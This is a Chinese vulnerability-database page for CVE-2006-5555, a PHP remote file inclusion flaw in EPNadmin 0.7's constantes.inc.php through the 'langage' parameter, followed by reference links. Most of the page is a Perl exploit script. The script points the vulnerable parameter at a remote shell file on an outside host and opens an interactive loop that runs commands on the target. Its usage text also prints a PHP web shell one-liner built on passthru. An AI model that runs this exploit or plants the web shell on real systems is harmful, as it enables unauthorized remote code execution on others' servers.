EPNadmin 'Constantes.Inc.PHP'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111336 漏洞类型 输入验证
发布时间 2006-10-19 更新时间 2006-10-30
CVE编号 CVE-2006-5555 CNNVD-ID CNNVD-200610-451
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2596
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-451
|漏洞详情
EPNadmin0.7和0.7.1版本中的constantes.inc.php脚本存在PHP远程文件包含漏洞,远程攻击者可通过langage参数执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#
# EPNadmin remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://epnadmin.pierrefitte93.fr
#
# Version : 0.7
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  EPNadmin 0.7 remote Command Execution Vulnerabilities      .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/constantes.inc.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?langage=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-19]
|参考资料

来源:XF
名称:epnadmin-constantes-file-include(29671)
链接:http://xforce.iss.net/xforce/xfdb/29671
来源:BID
名称:20624
链接:http://www.securityfocus.com/bid/20624
来源:MILW0RM
名称:2596
链接:http://www.milw0rm.com/exploits/2596
来源:VUPEN
名称:ADV-2006-4167
链接:http://www.frsirt.com/english/advisories/2006/4167
来源:VIM
名称:20061026parameter
名称errorinvulnDBsforEPNadmin
链接:http://www.attrition.org/pipermail/vim/2006-October/001098.html
来源:SECUNIA
名称:22508
链接:http://secunia.com/advisories/22508
来源:MILW0RM
名称:2596
链接:http://milw0rm.com/exploits/2596